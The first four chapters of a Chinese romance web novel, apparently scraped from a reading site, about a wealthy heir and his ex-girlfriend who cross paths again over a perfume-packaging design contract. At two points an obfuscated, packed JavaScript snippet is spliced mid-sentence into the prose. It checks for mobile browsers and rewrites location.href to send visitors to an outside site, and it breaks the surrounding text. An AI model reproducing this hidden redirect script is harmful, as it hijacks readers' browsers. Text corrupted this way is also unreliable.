《浓夜难渡[破镜重圆]》 1. 第一章 《浓夜难渡》 郁七月/文 晋江文学城独家发表 * 酒过三巡,饭桌上,不知谁提了一嘴:“听说夜浓回国了。” 沈屹骁手里的红酒微微一晃,润泽如玛瑙般的酒液荡起微漪,撞在晶莹剔透的红酒杯壁。 眼波停顿间,悄然低语声争先恐后的往他耳廓里钻。 “从毕业后就再也没见过她,听祁闵他们几个说是出国了?” “不知道,我也是听韶观远说的。” “韶观远?” 这一声带着浓浓的意外:“韶观远和她还有联系?” “嘘,声音小点。” 话说到这里,不远处三四双眼睛悄悄瞥过来。 偏偏有人哪壶不开提哪壶—— “想当初,咱们沈总和夜浓,那可是轰动一时啊!” 微醺的调子带着几分调侃,响在推杯换盏间,虽然声音不大,但这一声之后,包厢里顿时噤若寒蝉。 毕竟沈家是京市金字塔尖的存在,沈屹骁父亲三年前去世后,名下所有股份都转移到了独子沈屹骁名下,如今他已从继承人变成了名副其实的掌权人。 尽管谁都不敢在他面前出言不逊,可人都是爱八卦的。 大四那年,沈屹骁和夜浓谈了一场轰动全城的恋爱,原因很简单,沈家是顶级豪门,而夜浓除了有一张顶级的脸蛋之外,一无所有。 恋爱谈得沸沸扬扬,分手更是弄的满城风雨。 毕业典礼那天,学校里有个好事的,笑侃两人是楚河汉界,分手是必然,典礼还没结束,沈屹骁就将对方的鼻梁骨打断了。 自那以后,「夜浓」这个名字便成了他的逆鳞似的,让知道两人关系的人,都不敢在他面前提及。 众人都在为酒意上头说话不知轻重的刘铮暗捏一把冷汗时,安静的包厢里传来一声轻笑。 只见沈屹骁掀起眼皮。 “记得没错,”他瞳孔是深邃的黑色,看向刘铮的眼神意味不明,“你以前好像追她追了不短的时间?” 漫不经心又似是而非的语气,像一根针,插进人的喉咙。 刘铮脊背一寒,这才后知后觉到自己的失态,哆哆嗦嗦了好半晌才艰难吐出断续的一句:“沈、沈总您可真是抬举我了,我那、哪是追啊,是仰慕,仰慕......” 沈屹骁垂眉轻笑:“仰慕?” 他嘴角勾出的笑意让人辩不出喜怒。 坐在刘铮身旁的陈煦忙端着酒杯起身,“沈总,刘铮刚刚是醉话,您大人不记小人过,别和他一般见识,我敬你。” 今天这场酒局就是陈煦组的,他哥哥陈杨是东沈集团的财务总监,若不是有这层关系,沈屹骁今天断不会出现在这个包厢里。 面子给了,但也只是几分薄面。 沈屹骁端起酒杯,将杯中红酒一饮而尽后,起身。 “你们慢吃,我还有事,先走。” 众人沉默怔愣间,沈屹骁推开包厢厚重的双扇门走了出去。 门合上的下一秒,包厢里的议论声一瞬炸了锅。 “他该不会还对那女人余情未了吧?” “你开玩笑的吧,当初可是夜浓甩了他!” “谁说的,明明是夜浓作风不好,沈屹骁提的分手!” “那他刚刚一副要把刘铮吃了似的,不是吃醋是什么?” “拜托,那对他来说就是个黑历史,而且刚刚刘铮是什么语气你听不出来呀,当做笑柄似的,要你,你愿意?” ...... 天上缀满了星子,像细碎的流沙铺躺。 车窗玻璃落了一半,初秋丝凉的晚风卷着末夏的燥意,从窗外扑进来。 坐在副驾驶的秘书关昇侧身询问:“沈总,是回铂悦府吗?” 沈屹骁阖着双眼,额前上梳的刘海被吹乱两缕坠下来,在他眉骨与额头飞舞。 一阵静默里,他闷而淡的声音从后座传来:“去梦叠山。” 梦叠山是东沈集团开发的一处置身湿地公园的豪宅,既能宁静宅家,又能近水揽月。 地上地下双大堂,车辆直通地下车库。 车子在不打滑无异响的金刚砂固化加超耐磨聚氨酯地坪停稳后,关昇迅速下车将后座车门打开。 “沈总,明天上午九点半,您和商建科技的商总有一个视频会议。” “我知道。”沈屹骁接过西装外套:“老时间来接我。” “好的。” 电梯上楼,一梯一户。 子母入户的装甲门一开,全屋智能系统也随之开启。 正对玄关的是由紫水晶打造的大理石背景墙,云纹缠绕,惟妙惟肖。 西装外套被他随手丢在了de sede蛇形沙发旁的雪茄椅上,而后,他从餐边柜里拿了瓶红酒出来。 两个杯底的红酒不经品尝直接入喉后,他又倒了些许,而后端着酒杯去了落地窗前。 270度全景落地窗拉近了与湿地公园的距离,让他整个人仿佛置身于山水的写意里。 空间弥漫出的优雅与静谧,可以是得意时的憩息地,也可以是失意时的避难所。 手机震了。 是齐祯,沈屹骁的多年好友。 “我刚看见你车出去,你今天在?” 轻“嗯”一声后,沈屹骁从窗边转身去了沙发里坐着。 “忙吗,不忙的话上去找你。” 不似沈屹骁偶有过来,齐祯自从住进来后就爱上了这个世外桃源。 沈屹骁兴致缺缺:“随便你。” 也就几分钟的功夫,门铃响,智能面板投出一张赏心悦目的人脸。 沈屹骁坐在沙发里未动,在手机屏幕轻点一下后,门开了。 见他正在喝酒,齐祯眉梢一挑,看向茶几。 一瓶红酒已经见了底。 “上次没喝完的,”沈屹骁抬了个下巴:“你再去挑一瓶。” 得了这话,齐祯轻车熟路的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578470|143042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去酒柜里拿了瓶他那儿不常见的。 瓶塞“噗”的一声—— “今天怎么突然过来这儿住了?明天不上班?” “路过。” 梦蝶山不仅坐拥山水,更有着八千平方的私家会所。 除了影院康健,瑜伽舞蹈、有氧健身,恒温泳池,SPA这些基本配套之外,还有水吧、红酒雪茄吧、高尔夫果岭,以及赛级的台球桌。 沈屹骁偶有过来放松,但都是周末或者放假的时候。 齐祯瞥他一眼,给他空了的酒杯里续上酒,“从公司过来的?” “不是,”沈屹骁逆时针轻晃酒杯,“和几个同学吃了顿饭。” 话说得轻松,倒是察觉不出他多少的情绪。 齐祯坐到一旁的单人沙发里,随口问了句:“哪个同学?” 见他没说话, 齐祯眼皮一跳,举起酒杯的动作停顿了两秒,“大、大学同学?” 见他表情诧异,措辞犹疑,沈屹骁眼角微眯:“怎么,不行?” 一滴酒没喝,齐祯就先吞咽了一下,他眼神闪了闪,强壮镇定:“看你这话说的,老同学吃个饭而已,这有什么行不行的。” 沈屹骁没有被他糊弄过去。 “我记得当初你和陈煦关系不错,今天就是他组的局,怎么没叫你?” 怎么可能没叫他。 但是被齐祯给拒了,顺带着说沈屹骁最近忙也没空,没想到陈煦那家伙还是找了他。 想到他今晚突然出现在这里,还一个人喝起了闷酒。齐祯来不及多想,脱口而出—— “夜浓也去了?” 沈屹骁眼里的光微微下沉,“你也知道她回来?” 齐祯喉咙里一噎:“......” 就在他后脊背直冒冷汗的时候,听见旁边传来一声低笑。 齐祯怔怔看过去,只见沈屹骁勾着嘴角,无奈摇头。 “这么怕我知道,怎么,你该不会还以为我会对她余情未了?” 齐祯茫然地眨了眨眼:“你这是放下了?” “不然呢?”沈屹骁语气淡淡:“你觉得她凭什么让我记挂这么多年?” 当初可是她头也不回的走了,任他怎么挽留都不为所动。 她既能这么潇洒,又凭什么留他一人深陷? 灯光打下来,在他眼睑处投了一排微微颤动的影子。 沈屹骁身子后靠,浅色的唇因为沾了红酒,像点了朱砂,让他冷峻的脸上带出几分张狂的邪肆。 他挑了挑眉:“倒是你们,这么藏着掖着,只会让我生出更多的好奇。” 被他这么一说,齐祯也越发觉得自己过分小心了。 是啊,都过去五年了,还有什么放不下的。 齐祯“嗐”了声,“这有什么好藏着掖着的,她啊,估计就是在外面混的不好才回——” “说人话。” 齐祯嗓子里一噎:“...莱欧广告,上周五刚回来。” 2. 第二章 今天周一,三天前,也就是周五,夜浓从香港坐飞机落地京市。 是对她有知遇之恩的阮瑜去机场接的她。 莱欧广告总部在香港,四月初在京市设立分部后,阮瑜就过来了,目前担任分公司总经理。 “阮总。” 人前人后,夜浓总是这么喊她,带着感恩和尊敬。 阮瑜张开双臂搂住她:“你知道我多怕judy不放你过来吗?” 彼此松开,夜浓眼露意外:“是你跟judy开的口?” 阮瑜虽然比夜浓大九岁,但岁月却格外眷顾她,丝毫没有在她紧致的脸上留下痕迹。 “不然呢,当初答应她回来开设分部,她可是允了我一个条件的。” 夜浓恍然大悟一挑她的丝雾双眉:“所以你这是早有预谋喽?” 阮瑜豪爽地将手臂搭她肩膀:“人嘛,就是要不断的折腾才能感受到活着的意义。” 「折腾」二字,在夜浓的耳膜豁出了一道口子。 这两个字,原本是那个人的口头禅。却在她离开这座城市之后,再也没听过。 久远的,恍如隔世的。 已经不记得他当初说那些话时,声音是浑厚的、低沉的,还是迷离沙哑...... 阮瑜没注意到她失神的目光,“你就带这一个行李箱?” 思绪被拉回,夜浓眼波稍顿,低头看了眼被晾在一旁的黑色行李箱,无奈一笑:“你知道我的,最怕收拾行李。” 十月的京市,没有盛夏的炎热,也没有凛冬的严寒,一切都舒适的刚刚好。 路上,阮瑜见她一直偏脸看着窗外,笑说:“这里和以前变化大吗?” 夜浓点了点头:“挺大的。” 但是从她眼底略过的建筑物却还是和记忆里有许多的重叠。 五年,说短不短,说长,却也不长。 很多平时根本不会想起的人和事,都会随着视觉而唤醒记忆。 哪怕那些早已散落成碎片。 但这并不能说明什么,任谁回到一个久违的城市,心里都会掀起或多或少的伤感。 或者说,不是伤感,而是波澜。 视线从窗外收回后,夜浓问:“我们现在是去哪?” 阮瑜带着几分神秘,看了她一眼:“到了你就知道了。” 一个小时后,阮瑜将车开进小区。 满园的乔木绿篱,花边繁茂,一股子的清幽雅致,有一种无声的低调。 但走进6米2挑高的入户大堂,看见满铺翡翠绿琉璃背景墙,还有缓缓细流的珠帘水幕墙后,夜浓就知道,低调与高调从来都是内嵌外凸,相辅相成。 电梯停落12层,意大利Dierre品牌的全尺寸铜制双开装甲门打开。 “你现在住在这?” 她语气里带着意外,不过,夜浓意外的不是阮瑜能住进这样的小区,而是意外她一个喜欢在院里摆弄花草的人,会住进平墅。 阮瑜笑了笑:“给点意见。” 走过进深3米的玄关就是对角合围式布局的客厅。 浅咖色羊绒地毯,暖色布艺沙发,还有一对Poliform螃蟹椅,甚至还有bentley联名naim的音响。 颇有一种浮生半日闲的秩序。 大平层的好处就是空间连贯,一览无遗。 特别是270度全景落地窗,让人心情豁亮,无法抗拒。 “很棒。” 短短两字后,清脆的叮当金属声响在耳边,夜浓扭过头来。 是一个拴着黑色手环的金属钥匙串。 “从现在开始,你就是这里的主人了。” 短暂怔愣间,夜浓指了指自己:“给我的?” 阮瑜拉起她垂在身侧的手,将钥匙串放在她手心。 “放心住,一切开销都是公司的。” 夜浓垂眸笑了声:“既然是公司给的福利,那我就不客气了。” “你呢,”夜浓问:“你现在住在哪?” 见她唇角抿笑却不说话,夜浓眉梢一挑:“瞿总那里?” 阮瑜皱眉轻笑:“怎么可能。” 两人坐进沙发。 “实话跟你说吧,这个房子本来是公司配给我的,但你知道,我不喜欢大平层,所以刚回来的那段时间,我的确是住在他那,但现在我已经买了新的房子,离你这还挺远的,抽时间带你去看看。” 夜浓点了点头:“那我是周一去公司?” “对,周一,我估计你也没带几件衣服回来,明后两天正好是周末,你就趁这两天逛逛街买些衣服。” 说到这儿,阮瑜不禁缩了缩肩膀:“听说这边的冬天可冷了。” 是挺冷的,到了冬天,风就似冰刀子似的。 虽说香港那边四季气候宜人,但夜浓还是更喜欢四季分明。 既有夏的炙烈,也有冬的凛冽。 思绪不过短暂游走就被夜浓拉了回来,“ Alma 现在还是你助手吗?” 阮瑜懂她的意思:“放心吧,我都交代好了,今晚她就会把资料发到你邮箱。周一上午九点周会,到时我会正式把你介绍给大家。” 到了一个新环境,免不了要受到多双眼睛的质疑,不过这对夜浓来说并不是难事,甚至可以说是她的强项。 五年时间,真的可以改变很多。 离开这里之前,夜浓并不是很会处理人际关系。 她放肆张扬,人又漂亮,而且是那种带有攻击性的漂亮,这让她打小就非常不受同性的待见。 特别是上了大学,众多的追求者,让她一度成为学校女生们嫉妒的对象。恰恰是同性的排挤,异性的簇拥,才让她对自己这张脸有足够的自信。 那时的她,享受「花瓶」这个词,但后来,见识的人越来越多,她渐渐明白一个道理,以色示人不长久。 比起花瓶,她更想做一个跟男人地位平等的一个独立的个人。 如今她已经有足够的能力让与她公事的人,将她当成一个战友、伙伴。 “方铭寒上周给我打电话,问你这一趟过来,准备待多久。” 夜浓先是一愣,但是很快她便露了个无计可施的笑:“他倒是会打听。” “所以,”阮瑜试探着问:“你是真不打算给他一个机会?” 认识夜浓四年了,阮瑜知道她追求者众多,其中不乏各方面条件都不错的,但却没有一个能入她眼。 “还是说,你有喜欢的人?” 这话,阮瑜早就想问她了,但因为她对男人一直都兴致缺缺,便一直没有问。 夜浓轻笑一声:“怎么可能。” 她目光落到视线无遮无挡的窗外:“男人和事业比起来,我还是更倾向于后者。” 虽然阮瑜很认同她这个观点,但还是觉得有些可惜:“你才二十七岁而已,正是享受爱情的年纪,就算不结婚,恋爱还是要谈的。” 她伸手点在夜浓漂亮的眼尾:“有爱情的滋润,和没有爱情的滋润,状态是不一样的。” “所以你现在的状态都要归功于瞿总喽?”夜浓将话题轻松推了回去。 阮瑜轻推她一把:“少开我玩笑。” 两人又聊了会儿天,之后,阮瑜接了通电话。 “我有点事得走了。” 夜浓随她起身:“我送你。” 阮瑜说不用,“你也坐了好几个小时的飞机,休息会儿吧。” 三个多小时的飞机不算累,但两周前,夜浓的外婆刚去世,这段时间,她睡眠不是很好。 走前,阮瑜将自己的车钥匙给她:“你先开着,我那儿还有一辆车。” 夜浓也没跟她客气:“我那车估计得周二才能到,那我就先开着。” 将阮瑜送进电梯,夜浓再度回到房子里。 和阮瑜不同,夜浓很喜欢平层的视野,目之所及一览无遗,不局限于室外,室内也是,就像她现在,躺在沙发里就能看见八人位的餐厅、水吧酒柜,以及餐厅上方的Viabizzuno吊灯。 被阳光铺晒的客厅暖暖的,那盏悬吊的水晶灯更是折出目眩的光,让人忍不住闭了眼。 不等墨影铺地,连绵不绝的重重楼阁就被霓虹点亮。 叫醒夜浓的是提醒她该补充维生素的八点闹铃。 趴在沙发扶手,看了会儿窗外的繁星,夜浓突然想起行李箱还在阮瑜的车里。 实在是懒,可洗漱用品包括充电器还有电脑都被她一股脑的收在了行李箱里,没辙,只能出门。 本想拎了行李箱就直接上楼 ,又不想临睡前再填饱肚子,夜浓便摁了直达一楼的电梯。 晚上的气温明显低于白天,刚出一楼大堂,迎面吹来的凉风就让夜浓不禁缩了缩肩膀。 从亮着的灯火就能看出这个小区的入住率 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而就在刚刚,在她没有踏出这个小区的时候,她还自信的以为,就算遇见他,遇见那个曾给她绚烂却也给过他伤痛的男人时,她真的可以做到无波无澜,平静面对。 如今看来,好像有些高估自己了。 可是怎么就那么巧,京市可是有着两千多万常住人口的城市,怎么一回来就被她撞见,还有,他该不会也住在这个小区? 想起和他在一起的那一年,逢周末节假日,他都会随着游玩的地方,就近选择一处沈家旗下的房子带她去住,有公寓,有平墅,也有别墅。 对,这里应该只是他偶尔会来的落脚点。 想到这,夜浓心里轻松了许多。 一个三明治被她当晚餐的随意解决后,夜浓将行李箱拿到衣帽间。 24寸的行李箱里,日用品居多,收拾完一侧的日用品后,夜浓拉开装着寥寥几套衣服的一侧拉链,露出最上面的一件乳白色骆马绒针织衫时,她手指蜷了一下。 第一次知道骆马绒这种织料,也是大四那年。 当时她心血来潮给沈屹骁熨衣服,结果将他一件绒衫给烫坏了,她哪里知道那是骆马绒的,还跟他抱怨说是衣服的问题。当时沈屹骁还在睡觉,将她丢在自己脸上的绒衫扔到一边后,修长的手臂一伸,就将她搂到了怀里。 “烫坏了,那你可得赔我。” 夜浓知道他每件衣服都价格不菲,她也不逞能:“没钱。” “不用钱,”他吻落到她颈子里:“用人赔。” 不过一件最平常不过的绒衫就让那些回忆翻山倒海的涌现。 胸腔里积聚的烦躁越来越多,让夜浓越看那件绒衫越觉得不顺眼,她伸手将衣服捞起,走到两米远处的垃圾桶旁,脚尖一踩,桶盖掀开。 乳白色的绒衫往垃圾桶里一丢—— “你就这么扔了?” 沈屹骁一脸的无所谓,掐着她的腰,将她抱了起来,“一件衣服而已,回头多买几件给你练练手。” 原本的烦躁不知怎的,突然变成了鼻尖的酸涩。 练练手...... 当初他不就是拿她的感情当练手的吗? 3. 第三章 榕港大厦坐落在京市的商圈中心,一共六十九层高,二十九层和三十层被莱欧总公司买下,作为分公司的办公区。 逢周一上午九点,会有一个各部门经理汇报工作的早会。 例会开始前,几个部门经理早到了一会儿。 “新总监什么来头?”说话的是市场部经理江广业,为人豪爽。 “不清楚,”IT经理刘怀新推了推鼻梁上的眼镜:“听说是香港总部那边指派过来的,姓夜,夜晚的夜。” 项目部经理徐贤眉棱一挑:“这个姓倒是少见。” 坐在他旁边的是工程部经理王焕,他瞥了眼对面空着的位置,皱眉低声道:“这不就等于空降了吗,那刘峰怎么办?” 在此之前,一直都是刘峰代理设计部总监一职,在许多人眼里,这个位置迟早都是他的。 几个男人不约而同看向人力资源部李妙。 李妙垂着眼皮拧着保温杯的杯盖,不作声也不接几个男人的眼神。 没两分钟的功夫,刘峰和另外两个部门经理前后进来。紧接着,又传来高跟鞋的声音。 椭形会议桌一圈的人顿时调整好坐姿。 随着原木色双扇会议门从外拉开,在众多双眼睛的注视下,夜浓落后阮瑜两步走了进来。 虽然还没有介绍,但众人都猜出她应该就是这次空降的设计部总监。 果然—— “跟大家介绍一下,这位是夜浓,从今天开始,担任设计部总监一职。” 接住所有看过来的视线,夜浓眼尾弯出淡淡笑痕:“很荣幸能跟各位共事。” 她今天穿了一件珍珠白的伞状无袖上衣,下身搭配同色系的高腰半裙,一袭浓密的卷发散下来,纤腰楚楚,妩媚动人。 对面江广业眼睛都看直了,由衷感叹了句:“没想到夜总监这么年轻。” 职场上,「年轻」一词可以被拆解出各种意思。 夜浓没去曲解,只当他是真心夸赞,视线投去淡淡一眼后,拂裙坐下。 眼看一帮男人视线都舍不得从夜浓脸上移开,阮瑜轻咳一声:“大家欢迎。” 围桌一圈的人这才反应过来似的,掌声七零八落地响起。 之后,各部门经理挨个汇报上周工作总结以及下周工作计划。 每个人都说的简单扼要,十点不到,会议结束。 夜浓和阮瑜并肩走出会议室:“之后工作上有任何问题,随时找我。” 夜浓笑了笑:“放心吧,我尽量做到不打扰你。” 阮瑜突然想起来:“在你之前,是刘峰代理设计部总监一职,你放心,他这人是实干型,不会因为你的到来而心里有落差。” 周六的时候,夜浓就已经将Alma发来的所有员工资料都看了,她语气由衷:“我看了他的入职简历,很优秀。” 阮瑜掩手:“听说是个妻管严。” 夜浓忍俊不禁:“也是一个优点。” 回到自己办公室没两分钟,敲门声响。 “进来。” 是刘峰。 他抱着几沓资料进来:“夜总,这是设计部目前所有项目的资料。”他将资料放到夜浓左手边:“有任何问题,您随时找我。” 夜浓点头:“好,辛苦你了。” “应该的,那您先忙。” 想到刚刚会议上,他几乎不怎么敢看向自己的眼神,夜浓垂眸笑了笑。 随之进来的是助手曲姚。 “夜总,您的入职手续已经办好了。”她将一个黑色盒子放在桌上:“这是公司给您配备的新手机,新的电话卡也已经装好,这是您的证件。” “好,麻烦你了。” “不麻烦,”曲姚脸上挂着职业微笑:“需要给您冲一杯咖啡吗,或者茶?” “咖啡吧,”夜浓说出自己的喜好:“加奶不加糖。” “好的。” 办公室门无声关上,夜浓目光落到手边的资料。 【雾色香水-Release】 这次莱欧广告负责的是雾色的新款香水「Release」的包装设计。 作为国内近两年香水界近最瞩目的一匹黑马,夜浓对雾色这个品牌并不陌生,虽是国内品牌,但走的却是优雅奢华的路线,去年更是和意大利一家高奢品牌合作,推出了一款全球限量香水。 当时的试香会,夜浓也去了,黑醋栗加藏红花还有青柠的华丽前调,夜浓到现在都记忆犹新。 不过,最让人津津乐道的还是这家公司的老板兼高级调香师祁孟,年纪轻轻就被评上了全国杰出青年企业家的称号。 趁着午休的时间,夜浓随意去了一家高奢商场。 从地下车库上到一楼,刚走到上行扶手电梯平阶,就看见了雾色的店面。 黑色的店牌上只有很简约的「雾色」二字,带着珠光闪的紫色。 雾色香水开设只有三年。截至目前,一共出了六款香水。 也正因为可供挑选的款式不多,所以店内商品的陈列需要特别讲究。 走进店,夜浓环顾一圈。 香水不似寻常一些护肤彩妆店被排布放置在柜台之上,而是用一米二高的黑色原石做实柜,上面置一个方形的厚切玻璃格。 一个玻璃格中只有一瓶香水,顾客需要打开侧面玻璃柜门才能取出。 看似有些繁琐,但却很有尊贵感,毕竟每瓶香水的售价都不低。 如果说香味是一瓶香水的灵魂,那瓶身的设计就是它的皮囊。 而最能吸引消费者购买欲的首先就是它赏心悦目的外观设计。 所以夜浓这次过来,目的很明确。 转身间,她就被一个黑色的香水瓶吸引,看似浓墨的黑,但是经玻璃格中的四角灯光一照,泛出隐约的墨蓝色,特别是UFO式样的瓶盖。 夜浓看向一旁的标签。 上面有产品名称、成分,前中后调,以及售价。 从夜浓进店后,店内工作人员并未上前询问需要或介绍,但随着她脚步和目光停住,导购径直走了过来。 “您好女士,需要我为您介绍这款香水吗?” 夜浓眉心还轻拢着:“它的名字有什么特殊含义吗?” 导购打开玻璃侧门,戴着白色手套的手取出里面的香水:“这款香水名为「雾色-Y330」,灵感来自于2009年被美国航天局发现的一颗‘宇宙中最孤独的恒星 CX330。” 导购微笑着娓娓道来:“CX330恒星在远离任何其他已知天体的银河系荒漠空间,正在急速生长。既没有恒星为邻,也缺少行星做伴,孤独且稀有。所以这款香水,我们一年只限量生产999瓶。” 夜浓看向标签上下方的同色售价牌。 价格还真不是一般的贵。 夜浓看着轻灵雅致的水晶瓶身:“那现在这款香水还有货吗?” “抱歉女士,目前这款香水已经在四月中旬就已经全国售罄,如果您喜欢,可以登记,明年的预售数量还剩下16个。” 不得不承认,雾色在营销手段上的确很有自己的一套,不知背后找的什么团队。 夜浓没有去登记,继续在店里看了其他的几款。 导购也一直耐心跟在她身边,一一解释每一款香水的灵感来源。 “这款雾色-Queen,是以梨、佛手柑和柑橘的前调开始,中调留香很持久,是很浓郁的玫瑰和茉莉花,尾调是广藿香、檀香和香草,颇有一些辛辣,有一种很令人着迷的性感。” “还有这款雾色-宠爱,是以沉香、香草和白爵香为墓调,中调只采用了单一的土耳其玫瑰,尾调最为持久,是依兰、天丝葵还有乳香。特别是依兰,可以留香超过二十四个小时。” 夜浓看着标签上的名字,唇角勾了勾。 天然依兰有种懒洋洋的、轻甜的椰果奶感,的确可以算作是一段爱情里最甜蜜的部分。 不知这是哪家设计公司的想法,将这瓶香水的瓶身做成了双心形,颜色更是大胆的采用浓烈的正红色,看似普通,却又在那份第一眼的普通之后,又会被惊艳到。 走到另一个玻璃格前,夜浓先是看了眼瓶身,是一滴眼泪式的造型,标签上写着:「雾色-离瑰」 夜浓知道这款香水,是雾色的一款冷门香,味道很独特,也是雾色唯一一款透明色瓶身。 夜浓问:“这款可以试试吗?” 导购点头:“当然。” 那是一种带着极强侵略感的独特味道,前调味道最为浓烈,轻嗅辛辣,深嗅有种呛喉的灼烧感。 见她眉心皱得厉害,导购微微笑了笑:“不瞒您说,这款香水味道的确很冷门,前调是豆蔻和公丁香,很辛辣,中调是广藿香和沉香,尾调是苦橙的果核和花瓣,用苦橙花的甜美中和了绿叶的清苦。” 夜浓伸手接过她手里的香水,看着瓶身下方的两个小字「离瑰」。 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从半开的车窗里拂进来,伴着曦光,掠过沈屹骁异于平静的脸。 回不回来关他什么事。 过得好与不好,更是无他无关。 当初什么狠话都被她说尽,他沈屹骁不至于那么不堪,非得苦陷在有她的过去里。 交叠混乱的思绪扰了他一夜,这才被他强行压下。 趁着梦蝶山到公司所需的一个小时路程里,沈屹骁阖眼补了一觉。 到了办公室,关昇接过他脱下的西装外套,看出他气色不算好,关昇问:“沈总,要给您冲杯咖啡吗?” “不用。” 全景天窗的办公室里,有一处植萃环绕的临窗茶室,L型的绿植花箱,加配了隐秘的滴灌技术。 这个时候,武夷山母树大红袍正当季。 初沏的茶水刚浇冲完紫陶杯,放在办公桌上的手机震了。 开始的时候,沈屹骁没理会,震动停了几秒后,再度传来“滋滋”声,他这才停了手里的动作,从软垫上起身。 是祁孟。 “明天忙吗?” 沈屹骁回到茶桌前:“什么事?” “明天上午设计公司来人进行前期的沟通,”祁孟问:“你要不要过来给点意见?” 沈屹骁兴致缺缺:“前期沟通而已,我就不去了。” 祁孟太了解他了,开始说不参加的是他,后面频频不满意的也是他。 有过多次因他不满意设计公司给出的方案而导致香水上市时间推迟的经验,祁孟说:“虽说雾色比不上东沈,但这好歹也是你的公司,你如果真的确定不来,那到后面方案敲定,你也都别来了。” 沈屹骁皱了皱眉:“还是之前那家设计公司?” 祁孟说不是:“上次你把人家设计总监骂成那样,我怎么可能还选他家,这次我换了,上周刚签的约。” “哪家?”沈屹骁随口问道。 “莱欧。” 沈屹骁端起茶杯的手一抖,滚烫的茶水撒在他指尖,他眉心一凝:“莱欧?” “对,他们总部在香港,京市这边的分部刚成立不久,阮瑜你应该听过吧,目前担任京市分公司的总经理,我就是冲着她在,才最终在怀玉设计和他们两家中选择了她家。” 见电话那头久未出声,祁孟“喂”了声。 沈屹骁眼神闪了闪,恍然回神:“我知道了。” “那你——” 没等祁孟说完,沈屹骁就挂断了电话。 两分钟后,关昇敲门进来:“沈总。” 沈屹骁微垂的眼睫盖住眼底情绪:“你去查查莱欧广告京市分公司的员工情况。” “好的。”这时,关昇又汇报了另一件事:“沈总,昨天盛悦广场的店里,卖出了一瓶离瑰。” 离瑰不仅味道冷门,自上市以来,也是雾色所有香水里销量最冷门的,一年的销量不超过两位数。 沈屹骁点了点头:“男的女的?” “是一位女顾客。” Deep sea属于男香,想必是买给男朋友,但这位女顾客是否没注意这款香水背后的意义。 沈屹骁淡声叮嘱:“12月12号别忘了回寄一份礼物。” 4. 第四章 雾色公司因为有研发工厂,所以连带着办公地点都设在远离闹市的郊区。 不到九点,一辆黑色轿车驶进工业园,最后在一栋五层高的办公楼前停下。 “把车停远一点。” 司机应声:“好的沈总。” 祁孟的办公室在五楼,沈屹骁坐电梯径直上去。 门是敞开的,沈屹骁敲了两下门,祁孟抬头看过去时,愣了短瞬,忙从办公桌前起身:“怎么这么早?” “不是你说的今天上午?” “我说的是十点,”祁孟低头看了眼时间:“你这来的也太早了。” 沈屹骁解开西装外套纽扣,在沙发里坐下:“不来你说,来早了你还不满意。” 祁孟给他倒了杯白开水:“看你这话说的,这不是怕耽误你那边的正事吗?” 沈屹骁没说话,扭头在办公室里环顾一圈:“有没有说那边来了谁?” “应该还是之前过来洽谈的刘总监。” 沈屹骁拧眉看他:“应该?” “这事都是张秘书联系的,对接都是跟他,不然我把他喊来问问。” 没两分钟,张秘书风风火火的跑到了门口,见沈屹骁也在,他双脚刹车似的止步门口。 “沈、沈总。” 沈屹骁今天穿一身冷黑色西装,锋锐的轮廓不着情绪,朝门口投去淡淡一眼时,他轻“嗯”一声。 祁孟坐在沈屹骁那组三人位沙发旁的单人沙发里,他歪头看向门口:“杵门口做什么,进来啊。” 张秘书知道沈屹骁才是雾色的真正老板,不过在他入职至今的一年零四个月里,算上今天,见过沈屹骁的次数,一只手都数得过来。 他也不知道自己怵什么,总之对面这人光是一个眼神就让他很有压迫感。 张秘书进去,在茶几前止步:“祁总,您找我?” 祁孟问:“周一你不是说,今天莱欧那边来人对接的吗?” 张秘书点头:“对,约了十点。” “那边有没有说来的都有谁?” “刘总只说他会过来,至于还有没有其他人,我没细问。” 沈屹骁一手搭在沙发扶手,一手随意放于腹前,浅浅眯起的眼角露出他对面前这位秘书的不满:“对方来了哪些人你都不清楚,那你觉得,等下我是出面好还是不出面好。” 张秘书心脏一抖:“我、我这就再确认一下。” 他刚一转身去掏手机,就被祁孟招手喊住。 祁孟看着手机上的来电:“你等等,阮总给我打电话了。” 沈屹骁视线看过去。 “阮总你好......我在......好的,那我到时候让人去楼下接你。” 简单几句,电话挂断。 祁孟将手机锁屏:“阮总说她今天也会过来。” 沈屹骁欠身去端茶几上那杯白开水:“除了她还有别人吗?” 祁孟眨了眨眼:“......她没说。” 刚碰到水杯的手就这么停住了,沈屹骁眼神睨过去。 祁孟也觉无辜:“她一个总经理都来了,我再去问底下还有哪些人,这也不合适啊。” 沈屹骁似笑非笑地看着他:“照你这么说,这个设计以后都由她来负责?” 短暂的两秒对视,祁孟突然“嘶”了声:“我怎么觉得你今天这么较真呢?” 沈屹骁错开他疑惑的眼神,语气淡淡:“不是你说我对这个公司不闻不问的吗?” 祁孟:“......” 今天天气不错,湛蓝蓝的天,万里无云。 七人座的商务车里,除了阮瑜和夜浓,还有刘峰和设计部另一名设计师刘蕴。 “也就是前期的沟通而已,我倒是觉得你不用亲自出面。” 其实今天夜浓也没准备来,就像她说的,只是前期的沟通,让下面两个设计师出面就好。 但是阮瑜也有她的考量:“雾色目前所有的香水外包装设计都是以独立项目签定合同,而且每家设计公司都不一样,这说明什么?” 夜浓想了想:“可能之前的合作都不是让他们很满意,又或者......他们公司想尝试不同设计公司的设计风格。” “所以啊,一旦我们如果能以年为单位和他们签约,那咱们也算是给自己打了个免费的广告。” 